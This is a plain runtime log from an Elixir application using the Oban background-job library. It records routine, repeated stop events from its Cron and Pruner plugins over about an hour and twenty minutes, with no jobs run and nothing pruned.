[info] {"source":"oban","duration":129,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:06:23.772 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:53.773 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.528 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:07:23.774 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:53.776 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.529 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:08:23.778 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:53.780 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.531 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:09:23.782 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:53.784 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.532 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:10:23.786 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:53.789 [info] {"source":"oban","duration":1786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.534 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:11:23.792 [info] {"source":"oban","duration":1937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:53.795 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.536 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:12:23.797 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:53.800 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.538 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:13:23.802 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:53.805 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.539 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:14:23.807 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:53.810 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.540 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:15:23.813 [info] {"source":"oban","duration":2062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:53.816 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.542 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:16:23.818 [info] {"source":"oban","duration":1904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:53.821 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.542 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:17:23.824 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:53.826 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.543 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:18:23.829 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:53.831 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.545 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:19:23.834 [info] {"source":"oban","duration":2100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:53.837 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.547 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:20:23.841 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:53.844 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.548 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:21:23.847 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:53.850 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.550 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:22:23.853 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:53.856 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.551 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:23:23.859 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:53.862 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.553 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:24:23.865 [info] {"source":"oban","duration":1833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:53.868 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.554 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:25:23.869 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:53.870 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.556 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:26:23.871 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:53.872 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.558 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:27:23.873 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:53.874 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.560 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:28:23.875 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:53.876 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.562 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:29:23.878 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:53.878 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.563 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:30:23.879 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:53.880 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.565 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:31:23.881 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:53.882 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.565 [info] {"source":"oban","duration":157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:32:23.883 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:53.885 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.566 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:33:23.886 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:53.888 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.567 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:34:23.891 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:53.891 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.568 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:35:23.894 [info] {"source":"oban","duration":1930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:53.895 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.570 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:36:23.897 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:53.898 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.572 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:37:23.900 [info] {"source":"oban","duration":2013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:53.902 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.573 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:38:23.904 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:53.906 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.575 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:39:23.907 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:53.910 [info] {"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.577 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:40:23.912 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:53.913 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.579 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:41:23.915 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:53.916 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.580 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:42:23.918 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:53.920 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.580 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:43:23.922 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:53.924 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.582 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:44:23.926 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:53.929 [info] {"source":"oban","duration":1854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.584 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:45:23.931 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:53.933 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.586 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:46:23.935 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:53.938 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.588 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:47:23.940 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:53.942 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.589 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:48:23.943 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:53.946 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.591 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:49:23.948 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:53.950 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.593 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:50:23.952 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:53.954 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.595 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:51:23.957 [info] {"source":"oban","duration":2062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:53.959 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.597 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:52:23.962 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:53.964 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.598 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:53:23.966 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:53.969 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.600 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:54:23.972 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:53.975 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.602 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:55:23.977 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:53.980 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.603 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:56:23.983 [info] {"source":"oban","duration":2523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:53.986 [info] {"source":"oban","duration":1754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.604 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:57:23.988 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:53.991 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.605 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:58:23.994 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:53.996 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.607 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:59:23.998 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:54.001 [info] {"source":"oban","duration":2720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.609 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:00:24.004 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:54.005 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.611 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:01:24.007 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:54.008 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.613 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:02:24.009 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:54.011 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.615 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:03:24.014 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:54.016 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.617 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:04:24.018 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:54.021 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.618 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:05:24.022 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:54.025 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.620 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:06:24.026 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:54.029 [info] {"source":"oban","duration":2021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.621 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:07:24.032 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:54.034 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.622 [info] {"source":"oban","duration":163,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:08:24.037 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:54.039 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.624 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:09:24.042 [info] {"source":"oban","duration":1954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:54.044 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.625 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:10:24.046 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:54.048 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.627 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:11:24.051 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:54.053 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.628 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:12:24.055 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:54.058 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.630 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:13:24.060 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:54.061 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.632 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:14:24.063 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:54.066 [info] {"source":"oban","duration":2144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.634 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:15:24.069 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:54.071 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.636 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:24.073 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:54.074 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.637 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:24.077 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:54.079 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.638 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:24.081 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:54.084 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.640 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:24.087 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:54.089 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.640 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:24.091 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:54.094 [info] {"source":"oban","duration":1920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.641 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:24.097 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:54.100 [info] {"source":"oban","duration":1879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.643 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:24.103 [info] {"source":"oban","duration":1979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:54.106 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.645 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:24.108 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:54.111 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.646 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:24.114 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:54.117 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.647 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:24.120 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:54.123 